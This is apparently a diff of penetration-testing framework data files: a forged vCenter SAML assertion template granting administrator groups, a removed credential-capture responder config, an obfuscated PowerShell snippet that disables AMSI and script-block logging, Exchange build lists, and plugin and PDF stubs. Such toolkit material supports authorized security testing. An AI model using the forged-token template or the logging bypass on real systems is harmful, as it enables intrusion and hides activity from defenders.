<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\ComponentManager.Administrators</saml2:AttributeValue>
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.BashShellAdministrators</saml2:AttributeValue>
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.ReadOnly</saml2:AttributeValue>
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.SupportUsers</saml2:AttributeValue>
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\SystemConfiguration.Administrators</saml2:AttributeValue>
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\LicenseService.Administrators</saml2:AttributeValue>
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %>\Everyone</saml2:AttributeValue>
|
||||
</saml2:Attribute>
|
||||
<saml2:Attribute FriendlyName="Subject Type" Name="http://vmware.com/schemas/attr-names/2011/07/isSolution" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
||||
<saml2:AttributeValue xsi:type="xsd:string">false</saml2:AttributeValue>
|
||||
</saml2:Attribute>
|
||||
<saml2:Attribute FriendlyName="surname" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_domain.encode(xml: :text) %></saml2:AttributeValue>
|
||||
</saml2:Attribute>
|
||||
<saml2:Attribute FriendlyName="givenName" Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
|
||||
<saml2:AttributeValue xsi:type="xsd:string"><%= vcenter_saml_user.encode(xml: :text) %></saml2:AttributeValue>
|
||||
</saml2:Attribute>
|
||||
</saml2:AttributeStatement>
|
||||
</saml2:Assertion>
|
||||
</saml2p:Response>
|
||||
@@ -1,52 +0,0 @@
|
||||
spoof_regex: .*
|
||||
ntlm_challenge: "1122334455667788"
|
||||
ntlm_domain: anonymous
|
||||
http_basic: no
|
||||
ssl_cert: null
|
||||
logfile: null
|
||||
hashdir: null
|
||||
services:
|
||||
- type: DRDA
|
||||
enabled: yes
|
||||
- type: FTP
|
||||
enabled: yes
|
||||
- type: HTTP
|
||||
enabled: yes
|
||||
- type: HTTPS
|
||||
enabled: yes
|
||||
- type: IMAP
|
||||
enabled: yes
|
||||
- type: MSSQL
|
||||
enabled: yes
|
||||
- type: MySQL
|
||||
enabled: yes
|
||||
- type: POP3
|
||||
enabled: yes
|
||||
- type: Postgres
|
||||
enabled: yes
|
||||
- type: PrintJob
|
||||
enabled: yes
|
||||
- type: SIP
|
||||
enabled: yes
|
||||
- type: SMB
|
||||
enabled: yes
|
||||
- type: SMTP
|
||||
enabled: yes
|
||||
- type: Telnet
|
||||
enabled: yes
|
||||
- type: VNC
|
||||
enabled: yes
|
||||
- type: FTPS
|
||||
enabled: yes
|
||||
- type: IMAPS
|
||||
enabled: yes
|
||||
- type: POP3S
|
||||
enabled: yes
|
||||
- type: SMTPS
|
||||
enabled: yes
|
||||
- type: NBNS
|
||||
enabled: yes
|
||||
- type: LLMNR
|
||||
enabled: yes
|
||||
- type: mDNS
|
||||
enabled: yes
|
||||
Executable
+11
@@ -0,0 +1,11 @@
|
||||
#!/bin/sh
|
||||
|
||||
gcc -o cpuinfo.ia32.bin cpuinfo.c -static -m32 -Wall && \
|
||||
strip cpuinfo.ia32.bin && \
|
||||
gcc -o cpuinfo.ia64.bin cpuinfo.c -static -m64 -Wall && \
|
||||
strip cpuinfo.ia64.bin && \
|
||||
i586-mingw32msvc-gcc -m32 -static -Wall -o cpuinfo.exe cpuinfo.c && \
|
||||
strip cpuinfo.exe
|
||||
|
||||
ls -la cpuinfo.ia32.bin cpuinfo.ia64.bin cpuinfo.exe
|
||||
|
||||
Executable
+64
@@ -0,0 +1,64 @@
|
||||
// This is a slightly modified copy of the METASM pe-ia32-cpuid.rb example
|
||||
|
||||
/*
|
||||
#!/usr/bin/env ruby
|
||||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2009 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
|
||||
#
|
||||
# this sample shows the compilation of a slightly more complex program
|
||||
# it displays in a messagebox the result of CPUID
|
||||
#
|
||||
|
||||
*/
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static char *featureinfo[32] = {
|
||||
"fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8",
|
||||
"apic", "unk10", "sep", "mtrr", "pge", "mca", "cmov", "pat",
|
||||
"pse36", "psn", "clfsh", "unk20", "ds", "acpi", "mmx",
|
||||
"fxsr", "sse", "sse2", "ss", "htt", "tm", "unk30", "pbe"
|
||||
}, *extendinfo[32] = {
|
||||
"sse3", "unk1", "unk2", "monitor", "ds-cpl", "unk5-vt", "unk6", "est",
|
||||
"tm2", "unk9", "cnxt-id", "unk12", "cmpxchg16b", "unk14", "unk15",
|
||||
"unk16", "unk17", "unk18", "unk19", "unk20", "unk21", "unk22", "unk23",
|
||||
"unk24", "unk25", "unk26", "unk27", "unk28", "unk29", "unk30", "unk31"
|
||||
};
|
||||
|
||||
#define cpuid(id) __asm__( "cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) : "a"(id), "b"(0), "c"(0), "d"(0))
|
||||
#define b(val, base, end) ((val << (31-end)) >> (31-end+base))
|
||||
int main(void)
|
||||
{
|
||||
|
||||
unsigned long eax, ebx, ecx, edx;
|
||||
unsigned long i;
|
||||
|
||||
cpuid(0);
|
||||
fprintf(stdout, "VENDOR: %.4s%.4s%.4s\n", (char *)&ebx, (char *)&edx, (char *)&ecx);
|
||||
|
||||
cpuid(1);
|
||||
fprintf(stdout, "MODEL: family=%ld model=%ld stepping=%ld efamily=%ld emodel=%ld ",
|
||||
b(eax, 8, 11), b(eax, 4, 7), b(eax, 0, 3), b(eax, 20, 27), b(eax, 16, 19));
|
||||
fprintf(stdout, "brand=%ld cflush sz=%ld*8 nproc=%ld apicid=%ld\n",
|
||||
b(ebx, 0, 7), b(ebx, 8, 15), b(ebx, 16, 23), b(ebx, 24, 31));
|
||||
|
||||
fprintf(stdout, "FLAGS:");
|
||||
for (i=0 ; i<32 ; i++)
|
||||
if (edx & (1 << i))
|
||||
fprintf(stdout, " %s", featureinfo[i]);
|
||||
|
||||
for (i=0 ; i<32 ; i++)
|
||||
if (ecx & (1 << i))
|
||||
fprintf(stdout, " %s", extendinfo[i]);
|
||||
|
||||
fprintf(stdout, "\n");
|
||||
fflush(stdout);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -1,174 +0,0 @@
|
||||
<?xml version="1.0" ?>
|
||||
<!--
|
||||
This file was generated by hand since no automated analysis and generation tool currently exists for Powershell code.
|
||||
-->
|
||||
<graphml xmlns="http://graphml.graphdrawing.org/xmlns" xmlns:xsi="http://graphml.graphdrawing.org/xmlns" xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
|
||||
<key id="address" for="all" attr.name="address" attr.type="long"/>
|
||||
<key id="type" for="all" attr.name="type" attr.type="string"/>
|
||||
<key id="instruction.source" for="node" attr.name="instruction.source" attr.type="string"/>
|
||||
<key id="instruction.hex" for="node" attr.name="instruction.hex" attr.type="string"/>
|
||||
<graph edgedefault="directed">
|
||||
<node id="block.1">
|
||||
<data key="address">1</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">1</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.1:instruction.1">
|
||||
<data key="address">1</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source">If($PSVersionTable.PSVersion.Major -ge 3){</data>
|
||||
</node>
|
||||
<node id="block.1:instruction.2">
|
||||
<data key="address">2</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $val=[Collections.Generic.Dictionary[string,System.Object]]::new();</data>
|
||||
</node>
|
||||
<node id="block.1:instruction.3">
|
||||
<data key="address">3</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $Ref1=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.AmsiUtils', threshold: 0.3) %>);</data>
|
||||
</node>
|
||||
<node id="block.1:instruction.4">
|
||||
<data key="address">4</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> if ($Ref1) { $Ref1.GetField(<%= Rex::Powershell::Obfu.scate_string_literal('amsiInitFailed', threshold: 0.3) %>,'NonPublic,Static').SetValue($null,$true); };</data>
|
||||
</node>
|
||||
<node id="block.1:instruction.5">
|
||||
<data key="address">5</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $Ref2=[Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.Utils') %>);</data>
|
||||
</node>
|
||||
<node id="block.1:instruction.6">
|
||||
<data key="address">6</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $GPF=$Ref2.GetField('cachedGroupPolicySettings','NonPublic,Static');</data>
|
||||
</node>
|
||||
<node id="block.1:instruction.7">
|
||||
<data key="address">7</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> If ($GPF) {</data>
|
||||
</node>
|
||||
<node id="block.1:instruction.8">
|
||||
<data key="address">8</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $SBL=<%= Rex::Powershell::Obfu.scate_string_literal('ScriptBlockLogging') %>;</data>
|
||||
</node>
|
||||
<node id="block.1:instruction.9">
|
||||
<data key="address">9</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $EnableSBL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockLogging') %>;</data>
|
||||
</node>
|
||||
<node id="block.1:instruction.10">
|
||||
<data key="address">10</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $EnableSBIL=<%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockInvocationLogging') %>;</data>
|
||||
</node>
|
||||
<node id="block.1:instruction.11">
|
||||
<data key="address">11</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $GPC=$GPF.GetValue($null);</data>
|
||||
</node>
|
||||
<edge source="block.1:instruction.1" target="block.1:instruction.3"/>
|
||||
<edge source="block.1:instruction.1" target="block.1:instruction.5"/>
|
||||
<edge source="block.1:instruction.3" target="block.1:instruction.4"/>
|
||||
<edge source="block.1:instruction.4" target="block.1:instruction.7"/>
|
||||
<edge source="block.1:instruction.5" target="block.1:instruction.6"/>
|
||||
<edge source="block.1:instruction.6" target="block.1:instruction.7"/>
|
||||
<edge source="block.1:instruction.7" target="block.1:instruction.11"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.12">
|
||||
<data key="address">12</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">12</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.12:instruction.12">
|
||||
<data key="address">12</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> If($GPC[$SBL]){</data>
|
||||
</node>
|
||||
<node id="block.12:instruction.13">
|
||||
<data key="address">13</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $GPC[$SBL][$EnableSBL]=0;</data>
|
||||
</node>
|
||||
<node id="block.12:instruction.14">
|
||||
<data key="address">14</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $GPC[$SBL][$EnableSBIL]=0;</data>
|
||||
</node>
|
||||
<node id="block.12:instruction.15">
|
||||
<data key="address">15</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> }</data>
|
||||
</node>
|
||||
<edge source="block.12:instruction.12" target="block.12:instruction.13"/>
|
||||
<edge source="block.12:instruction.12" target="block.12:instruction.14"/>
|
||||
<edge source="block.12:instruction.13" target="block.12:instruction.15"/>
|
||||
<edge source="block.12:instruction.14" target="block.12:instruction.15"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.16">
|
||||
<data key="address">16</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">16</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.16:instruction.16">
|
||||
<data key="address">16</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $val.Add($EnableSBL,0);</data>
|
||||
</node>
|
||||
<node id="block.16:instruction.17">
|
||||
<data key="address">17</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $val.Add($EnableSBIL,0);</data>
|
||||
</node>
|
||||
<node id="block.16:instruction.18">
|
||||
<data key="address">18</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$SBL]=$val;</data>
|
||||
</node>
|
||||
<edge source="block.16:instruction.16" target="block.16:instruction.18"/>
|
||||
<edge source="block.16:instruction.17" target="block.16:instruction.18"/>
|
||||
</graph>
|
||||
</node>
|
||||
<node id="block.19">
|
||||
<data key="address">19</data>
|
||||
<data key="type">block</data>
|
||||
<graph edgedefault="directed">
|
||||
<data key="address">19</data>
|
||||
<data key="type">block</data>
|
||||
<node id="block.19:instruction.19">
|
||||
<data key="address">19</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> } Else {</data>
|
||||
</node>
|
||||
<node id="block.19:instruction.20">
|
||||
<data key="address">20</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> [Ref].Assembly.GetType(<%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.ScriptBlock') %>).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));</data>
|
||||
</node>
|
||||
<node id="block.19:instruction.21">
|
||||
<data key="address">21</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source"> }</data>
|
||||
</node>
|
||||
<node id="block.19:instruction.22">
|
||||
<data key="address">22</data>
|
||||
<data key="type">instruction</data>
|
||||
<data key="instruction.source">};</data>
|
||||
</node>
|
||||
<edge source="block.19:instruction.19" target="block.19:instruction.20"/>
|
||||
<edge source="block.19:instruction.20" target="block.19:instruction.21"/>
|
||||
<edge source="block.19:instruction.21" target="block.19:instruction.22"/>
|
||||
</graph>
|
||||
</node>
|
||||
<edge source="block.1" target="block.12"/>
|
||||
<edge source="block.1" target="block.16"/>
|
||||
<edge source="block.12" target="block.19"/>
|
||||
<edge source="block.16" target="block.19"/>
|
||||
</graph>
|
||||
</graphml>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,321 +0,0 @@
|
||||
{
|
||||
"exchange_builds": [
|
||||
{
|
||||
"name": "Exchange Server 4.0",
|
||||
"builds": [
|
||||
"4.0.996",
|
||||
"4.0.995",
|
||||
"4.0.994",
|
||||
"4.0.993",
|
||||
"4.0.838",
|
||||
"4.0.837"
|
||||
],
|
||||
"eol": true
|
||||
},
|
||||
{
|
||||
"name": "Exchange Server 5.0",
|
||||
"builds": [
|
||||
"5.0.1460",
|
||||
"5.0.1458",
|
||||
"5.0.1457"
|
||||
],
|
||||
"eol": true
|
||||
},
|
||||
{
|
||||
"name": "Exchange Server 5.5",
|
||||
"builds": [
|
||||
"5.5.2653",
|
||||
"5.5.2650",
|
||||
"5.5.2448",
|
||||
"5.5.2232",
|
||||
"5.5.1960"
|
||||
],
|
||||
"eol": true
|
||||
},
|
||||
{
|
||||
"name": "Exchange Server 2000",
|
||||
"builds": [
|
||||
"6.0.6620.7",
|
||||
"6.0.6620.5",
|
||||
"6.0.6603",
|
||||
"6.0.6556",
|
||||
"6.0.6487",
|
||||
"6.0.6249",
|
||||
"6.0.5762",
|
||||
"6.0.4712",
|
||||
"6.0.4417"
|
||||
],
|
||||
"eol": true
|
||||
},
|
||||
{
|
||||
"name": "Exchange Server 2003",
|
||||
"builds": [
|
||||
"6.5.7654.4",
|
||||
"6.5.7653.33",
|
||||
"6.5.7683",
|
||||
"6.5.7226",
|
||||
"6.5.6944"
|
||||
],
|
||||
"eol": true
|
||||
},
|
||||
{
|
||||
"name": "Exchange Server 2007",
|
||||
"builds": [
|
||||
"8.3.517.0",
|
||||
"8.3.502.0",
|
||||
"8.3.485.1",
|
||||
"8.3.468.0",
|
||||
"8.3.459.0",
|
||||
"8.3.445.0",
|
||||
"8.3.417.1",
|
||||
"8.3.406.0",
|
||||
"8.3.389.2",
|
||||
"8.3.379.2",
|
||||
"8.3.348.2",
|
||||
"8.3.342.4",
|
||||
"8.3.327.1",
|
||||
"8.3.298.3",
|
||||
"8.3.297.2",
|
||||
"8.3.279.6",
|
||||
"8.3.279.5",
|
||||
"8.3.279.3",
|
||||
"8.3.264.0",
|
||||
"8.3.245.2",
|
||||
"8.3.213.1",
|
||||
"8.3.192.1",
|
||||
"8.3.159.2",
|
||||
"8.3.137.3",
|
||||
"8.3.106.2",
|
||||
"8.3.83.6",
|
||||
"8.2.305.3",
|
||||
"8.2.254.0",
|
||||
"8.2.247.2",
|
||||
"8.2.234.1",
|
||||
"8.2.217.3",
|
||||
"8.2.176.2",
|
||||
"8.1.436.0",
|
||||
"8.1.393.1",
|
||||
"8.1.375.2",
|
||||
"8.1.359.2",
|
||||
"8.1.340.1",
|
||||
"8.1.336.1",
|
||||
"8.1.311.3",
|
||||
"8.1.291.2",
|
||||
"8.1.278.2",
|
||||
"8.1.263.1",
|
||||
"8.1.240.6",
|
||||
"8.0.813.0",
|
||||
"8.0.783.2",
|
||||
"8.0.754.0",
|
||||
"8.0.744.0",
|
||||
"8.0.730.1",
|
||||
"8.0.711.2",
|
||||
"8.0.708.3",
|
||||
"8.0.685.25"
|
||||
],
|
||||
"eol": true
|
||||
},
|
||||
{
|
||||
"name": "Exchange Server 2010",
|
||||
"builds": [
|
||||
"14.3.513.0",
|
||||
"14.3.509.0",
|
||||
"14.3.496.0",
|
||||
"14.3.468.0",
|
||||
"14.3.461.1",
|
||||
"14.3.452.0",
|
||||
"14.3.442.0",
|
||||
"14.3.435.0",
|
||||
"14.3.419.0",
|
||||
"14.3.417.1",
|
||||
"14.3.411.0",
|
||||
"14.3.399.2",
|
||||
"14.3.389.1",
|
||||
"14.3.382.0",
|
||||
"14.3.361.1",
|
||||
"14.3.352.0",
|
||||
"14.3.336.0",
|
||||
"14.3.319.2",
|
||||
"14.3.301.0",
|
||||
"14.3.294.0",
|
||||
"14.3.279.2",
|
||||
"14.3.266.2",
|
||||
"14.3.248.2",
|
||||
"14.3.235.1",
|
||||
"14.3.224.2",
|
||||
"14.3.224.1",
|
||||
"14.3.210.2",
|
||||
"14.3.195.1",
|
||||
"14.3.181.6",
|
||||
"14.3.174.1",
|
||||
"14.3.169.1",
|
||||
"14.3.158.1",
|
||||
"14.3.146.0",
|
||||
"14.3.123.4",
|
||||
"14.2.390.3",
|
||||
"14.2.375.0",
|
||||
"14.2.342.3",
|
||||
"14.2.328.10",
|
||||
"14.3.328.5",
|
||||
"14.2.318.4",
|
||||
"14.2.318.2",
|
||||
"14.2.309.2",
|
||||
"14.2.298.4",
|
||||
"14.2.283.3",
|
||||
"14.2.247.5",
|
||||
"14.1.438.0",
|
||||
"14.1.421.3",
|
||||
"14.1.421.2",
|
||||
"14.1.421.0",
|
||||
"14.1.355.2",
|
||||
"14.1.339.1",
|
||||
"14.1.323.6",
|
||||
"14.1.289.7",
|
||||
"14.1.270.1",
|
||||
"14.1.255.2",
|
||||
"14.1.218.15",
|
||||
"14.0.726.0",
|
||||
"14.0.702.1",
|
||||
"14.0.694.0",
|
||||
"14.0.689.0",
|
||||
"14.0.682.1",
|
||||
"14.0.639.21"
|
||||
],
|
||||
"eol": true
|
||||
},
|
||||
{
|
||||
"name": "Exchange Server 2013",
|
||||
"builds": [
|
||||
"15.0.1497.28",
|
||||
"15.0.1497.26",
|
||||
"15.0.1497.24",
|
||||
"15.0.1497.23",
|
||||
"15.0.1497.18",
|
||||
"15.0.1497.15",
|
||||
"15.0.1497.12",
|
||||
"15.0.1497.2",
|
||||
"15.0.1473.6",
|
||||
"15.0.1473.3",
|
||||
"15.0.1395.12",
|
||||
"15.0.1395.4",
|
||||
"15.0.1367.3",
|
||||
"15.0.1365.1",
|
||||
"15.0.1347.2",
|
||||
"15.0.1320.4",
|
||||
"15.0.1293.2",
|
||||
"15.0.1263.5",
|
||||
"15.0.1236.3",
|
||||
"15.0.1210.3",
|
||||
"15.0.1178.4",
|
||||
"15.0.1156.6",
|
||||
"15.0.1130.7",
|
||||
"15.0.1104.5",
|
||||
"15.0.1076.9",
|
||||
"15.0.1044.25",
|
||||
"15.0.995.29",
|
||||
"15.0.913.22",
|
||||
"15.0.847.64",
|
||||
"15.0.847.32",
|
||||
"15.0.775.38",
|
||||
"15.0.712.24",
|
||||
"15.0.620.29",
|
||||
"15.0.516.32"
|
||||
],
|
||||
"eol": false
|
||||
},
|
||||
{
|
||||
"name": "Exchange Server 2016",
|
||||
"builds": [
|
||||
"15.1.2375.18",
|
||||
"15.1.2375.17",
|
||||
"15.1.2375.12",
|
||||
"15.1.2375.7",
|
||||
"15.1.2308.21",
|
||||
"15.1.2308.20",
|
||||
"15.1.2308.15",
|
||||
"15.1.2308.14",
|
||||
"15.1.2308.8",
|
||||
"15.1.2242.12",
|
||||
"15.1.2242.10",
|
||||
"15.1.2242.8",
|
||||
"15.1.2242.4",
|
||||
"15.1.2176.14",
|
||||
"15.1.2176.12",
|
||||
"15.1.2176.9",
|
||||
"15.1.2176.2",
|
||||
"15.1.2106.13",
|
||||
"15.1.2106.2",
|
||||
"15.1.2044.13",
|
||||
"15.1.2044.4",
|
||||
"15.1.1979.8",
|
||||
"15.1.1979.3",
|
||||
"15.1.1913.12",
|
||||
"15.1.1913.5",
|
||||
"15.1.1847.12",
|
||||
"15.1.1847.3",
|
||||
"15.1.1779.8",
|
||||
"15.1.1779.2",
|
||||
"15.1.1713.10",
|
||||
"15.1.1713.5",
|
||||
"15.1.1591.18",
|
||||
"15.1.1591.10",
|
||||
"15.1.1531.12",
|
||||
"15.1.1531.3",
|
||||
"15.1.1466.16",
|
||||
"15.1.1466.3",
|
||||
"15.1.1415.10",
|
||||
"15.1.1415.2",
|
||||
"15.1.1261.35",
|
||||
"15.1.1034.26",
|
||||
"15.1.845.34",
|
||||
"15.1.669.32",
|
||||
"15.1.544.27",
|
||||
"15.1.466.34",
|
||||
"15.1.396.30",
|
||||
"15.1.225.42",
|
||||
"15.1.225.16"
|
||||
],
|
||||
"eol": false
|
||||
},
|
||||
{
|
||||
"name": "Exchange Server 2019",
|
||||
"builds": [
|
||||
"15.2.986.15",
|
||||
"15.2.986.14",
|
||||
"15.2.986.9",
|
||||
"15.2.986.5",
|
||||
"15.2.922.20",
|
||||
"15.2.922.19",
|
||||
"15.2.922.14",
|
||||
"15.2.922.13",
|
||||
"15.2.922.7",
|
||||
"15.2.858.15",
|
||||
"15.2.858.12",
|
||||
"15.2.858.10",
|
||||
"15.2.858.5",
|
||||
"15.2.792.15",
|
||||
"15.2.792.13",
|
||||
"15.2.792.10",
|
||||
"15.2.792.3",
|
||||
"15.2.721.13",
|
||||
"15.2.721.2",
|
||||
"15.2.659.12",
|
||||
"15.2.659.4",
|
||||
"15.2.595.8",
|
||||
"15.2.595.3",
|
||||
"15.2.529.13",
|
||||
"15.2.529.5",
|
||||
"15.2.464.15",
|
||||
"15.2.464.5",
|
||||
"15.2.397.11",
|
||||
"15.2.397.3",
|
||||
"15.2.330.11",
|
||||
"15.2.330.5",
|
||||
"15.2.221.18",
|
||||
"15.2.221.12",
|
||||
"15.2.196.0"
|
||||
],
|
||||
"eol": false
|
||||
}
|
||||
]
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,69 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin changelog</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add changelog content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
Binary file not shown.
|
Before Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1021 B |
@@ -1,10 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<plugin>
|
||||
<class>com.example.openfire.plugin.Example</class>
|
||||
<name>PLUGINNAME</name>
|
||||
<description>PLUGINDESCRIPTION</description>
|
||||
<author>PLUGINAUTHOR</author>
|
||||
<version>1.0.0</version>
|
||||
<date>7/7/2008</date>
|
||||
<minServerVersion>3.5.0</minServerVersion>
|
||||
</plugin>
|
||||
@@ -1,69 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin readme</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add readme content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
@@ -1,55 +0,0 @@
|
||||
%PDF-1.0
|
||||
1 0 obj
|
||||
<<
|
||||
/Pages 2 0 R
|
||||
/Type /Catalog
|
||||
>>
|
||||
endobj
|
||||
2 0 obj
|
||||
<<
|
||||
/Count 1
|
||||
/Kids [ 3 0 R ]
|
||||
/Type /Pages
|
||||
>>
|
||||
endobj
|
||||
3 0 obj
|
||||
<<
|
||||
/Contents 4 0 R
|
||||
/Parent 2 0 R
|
||||
/Resources <<
|
||||
/Font <<
|
||||
/F1 <<
|
||||
/Type /Font
|
||||
/Subtype /Type1
|
||||
/BaseFont /Helvetica
|
||||
/Name /F1
|
||||
>>
|
||||
>>
|
||||
>>
|
||||
/Type /Page
|
||||
/MediaBox [ 0 0 795 842 ]
|
||||
>>
|
||||
endobj
|
||||
4 0 obj
|
||||
<<
|
||||
/Length 0
|
||||
>>stream
|
||||
|
||||
endstream
|
||||
endobj
|
||||
xref
|
||||
0 5
|
||||
0000000000 65535 f
|
||||
0000000010 00000 n
|
||||
0000000067 00000 n
|
||||
0000000136 00000 n
|
||||
0000000373 00000 n
|
||||
trailer
|
||||
<<
|
||||
/Root 1 0 R
|
||||
